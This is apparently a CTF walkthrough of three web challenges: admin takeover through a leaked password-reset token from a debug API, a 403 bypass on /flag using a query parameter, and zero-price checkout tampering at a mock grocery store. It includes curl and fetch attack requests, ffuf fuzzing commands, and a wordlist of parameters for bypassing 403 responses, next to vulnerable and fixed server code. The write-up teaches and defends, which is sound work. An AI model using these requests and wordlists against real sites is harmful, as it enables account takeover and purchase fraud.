Three challenges. Three forgotten developer shortcuts. One lesson: what you don't clean up will eventually be found.
Overview
The Vibe Security CTF presented three web-based challenges hosted on the same server. A login portal, a status page, and a grocery store. Each looked completely ordinary. Each hid a misconfiguration that any attacker with a browser, a fuzzer, and a bit of curiosity could exploit.
No zero-days. No complex shellcode. Just developers who moved fast and didn't clean up after themselves.
Challenge 1 — Admin Account Takeover via Debug API Endpoint
Target: http://104.248.51.203:3000/login
Technique: API version enumeration → debug endpoint → reset token leak → account takeover
The Target
A clean login page: username, password, Forgot Password?. Nothing obviously interactive beyond that. Clean targets aren't safe targets — the vulnerabilities are just somewhere else.
Reconnaissance
Reading the JavaScript
I opened DevTools → Sources and read the forgot-password page's JavaScript. The API call was explicit:
fetch('/api/v1/send-reset-token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `username=${username}`
})Production endpoint: POST /api/v1/send-reset-token
In production, this emails a reset link. We can't intercept email. But the hint said API version upgrade…
Probing API v2
Developers often spin up a new API version (v2) during iteration and leave the old debug version running alongside it in production.
curl -X POST http://104.248.51.203:3000/api/v2/send-reset-token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=doesnotexist"Response: { "error": "User not found" } — not a 404. The endpoint exists and processes requests.
Exploitation
curl -X POST http://104.248.51.203:3000/api/v2/send-reset-token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin"Response:
{
"message": "Reset token generated",
"resetUrl": "http://104.248.51.203:3000/reset-password?user=admin&token=1da4344f-f546-47e5-9a12-1d2769147411"
}The v2 debug endpoint returns the reset URL directly in the HTTP response instead of emailing it. Navigate to that URL, set a new password, log in as admin.
FLAG{P@$$_R3537_4DM1N_74CK0V3R}Attack Chain
POST /api/v2/send-reset-token { username: "admin" }
↓
Response leaks full reset URL + token
↓
Navigate to reset URL → set new password
↓
Login as admin → FLAG ✅Why It Happened & The Fix
The v2 endpoint was a developer shortcut to avoid SMTP setup during local testing. It shipped to production without being removed.
// VULNERABLE
app.post('/api/v2/send-reset-token', async (req, res) => {
const user = await User.findOne({ username: req.body.username });
if (!user) return res.status(404).json({ error: 'User not found' });
const token = generateResetToken(user);
const resetUrl = `${BASE_URL}/reset-password?user=${user.username}&token=${token}`;
res.json({ message: 'Reset token generated', resetUrl }); // ← leaks token
});
// ✅ FIXED — token sent via email only, generic message prevents enumeration
app.post('/api/v1/send-reset-token', async (req, res) => {
const user = await User.findOne({ username: req.body.username });
if (user) {
const token = generateResetToken(user);
await sendPasswordResetEmail(user.email, token);
}
res.json({ message: 'If that username exists, a reset email has been sent.' });
});Challenge 2 — Hidden Endpoint Discovery via Parameter Fuzzing
Target: http://104.248.51.203:9090/
Technique: ffuf endpoint discovery → 403 bypass via query parameter fuzzing
The Target
A "Secure Access Portal" with a single Check Status button that fired a JavaScript alert. No login, no links, no visible routes. A decoy homepage.
Reconnaissance
Fuzzing Endpoints with ffuf
ffuf -u http://104.248.51.203:9090/FUZZ \
-w /usr/share/wordlists/dirb/common.txt \
-mc 200,301,302,403 \
-t 50Output:
flag [Status: 403, Size: 18]A 403 is not a wall — it's a door with a broken lock. The endpoint exists. The server is just pretending we're not allowed.
Probing /flag
curl -v http://104.248.51.203:9090/flag
# → HTTP/1.1 403 Forbidden — "Access Denied"Exploitation
ParamSpider mines historical parameter names from the Wayback Machine and web archives — surfacing parameter names that have been used on a target even if they're no longer visible in the frontend.
paramspider -d 104.248.51.203:9090Combined with the hint (?display=true):
curl http://104.248.51.203:9090/flag?display=true
ACCESS GRANTED
FLAG{h1dd3n_3ndp01n7_d15c0v3r3d_p4ramp4m}One query parameter. That was the entire "security" gate.
Attack Chain
GET /flag → 403 Forbidden (but endpoint is real)
↓
ffuf discovers /flag
↓
ParamSpider + manual fuzzing → ?display=true
↓
GET /flag?display=true → ACCESS GRANTED → FLAG Why It Happened & The Fix
The developer added a parameter check as a "hidden" access control gate. This is security through obscurity — the moment a fuzzer runs, the secret is out.
app.get('/flag', (req, res) => {
if (req.query.display === 'true') {
res.send('ACCESS GRANTED\n' + FLAG);
} else {
res.status(403).send('Access Denied');
}
});
// FIXED — proper auth + role middleware
app.get('/flag', authenticate, authorize('admin'), (req, res) => {
res.json({ flag: FLAG });
});Common bypass parameter wordlist to try on any 403:
display, show, debug, verbose, admin, internal,
dev, test, bypass, reveal, enable, view, access,
flag, secret, hidden, preview, demo, forceChallenge 3 — Free Groceries via Client-Side Price Tampering
Target: http://104.248.51.203:8080/
Technique: Intercepting the checkout API request → injecting items into complimentary_items array with price set to 0
The Target
FreshMart — a fully functional grocery store with product categories (Fruits, Vegetables, Dairy, Snacks, Beverages), an add-to-cart flow, and a checkout modal. It looked legitimate. Stock counts, real prices in ₹, the whole experience.
The trap was in the checkout API.
Reconnaissance
Signing Up and Browsing
After creating an account at /signup, I browsed the products page. Sample prices:
Added a Strawberry (₹300) to the cart and opened DevTools → Network before clicking Proceed to Checkout.
Reading the JavaScript
Inside the frontend's checkout handler, the placeOrder function was visible:
function placeOrder() {
fetch('/api/checkout', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
cart_items: cart, // regular cart items
complimentary_items: complimentaryItems // "free" bonus items
})
});
}Two arrays. cart_items contains the items you add to cart. complimentary_items is intended for server-assigned promotional/bonus items. The server accepts both — and trusts the prices sent for both.
Exploitation
The server was not validating whether items in complimentary_items were actually authorized to be free. It accepted any item with any price — including 0.
I bypassed the UI entirely and fired a crafted fetch directly from the browser console:
fetch('/api/checkout', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
cart_items: [],
complimentary_items: [
{ id: 4, name: 'Strawberry', price: 0, quantity: 1, unit: 'box' }
]
})
})
.then(r => r.json())
.then(console.log)Response:
{
"message": "Order placed successfully!",
"total": 0,
"flag": "FLAG{fr33_gr0c3r13s_l0g1c_fl4w}"
}₹300 of groceries. ₹0 paid. Flag captured.
Attack Chain
Sign up → Add Strawberry (₹300) to cart
↓
Read JS → discover /api/checkout request structure
↓
Craft request: move item to complimentary_items, set price: 0
↓
POST /api/checkout { cart_items: [], complimentary_items: [{price: 0}] }
↓
Server trusts client-sent price → Total: ₹0 → FLAG Why It Happened & The Fix
This is a textbook business logic vulnerability — the server trusted the client to send correct prices instead of computing the total server-side from its own database.
This pattern is extremely common in real-world e-commerce bugs. Many bug bounty programs pay high severity for exactly this class of issue.
app.post('/api/checkout', authenticate, async (req, res) => {
const { cart_items, complimentary_items } = req.body;
// Calculates total using prices sent by the client ← never do this
const total = [...cart_items, ...complimentary_items]
.reduce((sum, item) => sum + (item.price * item.quantity), 0);
await createOrder(req.user.id, cart_items, total);
res.json({ message: 'Order placed!', total });
});
// FIXED — server fetches prices from its own database
app.post('/api/checkout', authenticate, async (req, res) => {
const { cart_items } = req.body; // only accept item IDs + quantities from client
let total = 0;
const verifiedItems = [];
for (const item of cart_items) {
// Fetch authoritative price from the database — never trust the client
const product = await Product.findById(item.id);
if (!product) return res.status(400).json({ error: 'Invalid product' });
total += product.price * item.quantity;
verifiedItems.push({ ...product.toObject(), quantity: item.quantity });
}
// Complimentary items are server-assigned only — never client-controlled
const complimentaryItems = await getServerAssignedComplimentaryItems(req.user.id);
await createOrder(req.user.id, verifiedItems, complimentaryItems, total);
res.json({ message: 'Order placed!', total });
});Combined Takeaways
Three different challenges. Three different entry points. One shared root cause: trusting input that should never be trusted.
For Developers
- Never deploy debug endpoints to production. Use
NODE_ENVchecks to disable debug routes at the application level. - Never use query parameters as access control. They are user-controlled, logged, cached, and fuzzable.
- Never trust client-sent prices. Prices must always be fetched server-side from the database at the time of transaction.
- Audit your own attack surface. Run
ffuf,arjun, andparamspideragainst your staging environment before every release. - Log anomalous behavior. ₹0 orders, excessive reset requests, and version probing are all detectable signals.
For Pentesters & CTF Players
- Read the JavaScript. Frontend code reveals the API contract — endpoints, parameters, request bodies, and expected values.
- A 403 is not a wall. Probe it with different methods, headers, and parameters.
- Fuzz API versions. If you see
/api/v1/, always tryv0,v2,v3,beta,debug,internal. - Intercept every checkout request. E-commerce checkout flows are a goldmine for business logic bugs — price, quantity, discount codes, and shipping fields are all candidates for manipulation.
- The hint is always literal. In CTFs and in real engagements, error messages, JS comments, and response fields are your roadmap.
Final Flags
Challenge 1 → FLAG{P@$$_R3537_4DM1N_74CK0V3R}
Challenge 2 → FLAG{h1dd3n_3ndp01n7_d15c0v3r3d_p4ramp4m}
Challenge 3 → FLAG{fr33_gr0c3r13s_l0g1c_fl4w}Found this walkthrough helpful? Follow for more CTF writeups, web app pentesting deep-dives, and hands-on exploitation tutorials.
Tags: #CTF #VibeSecurity #WebSecurity #APISecurity #BusinessLogic #PriceTampering #ParameterFuzzing #BugBounty #PenTesting #OWASP #EthicalHacking #ffuf #ParamSpider #CyberSecurity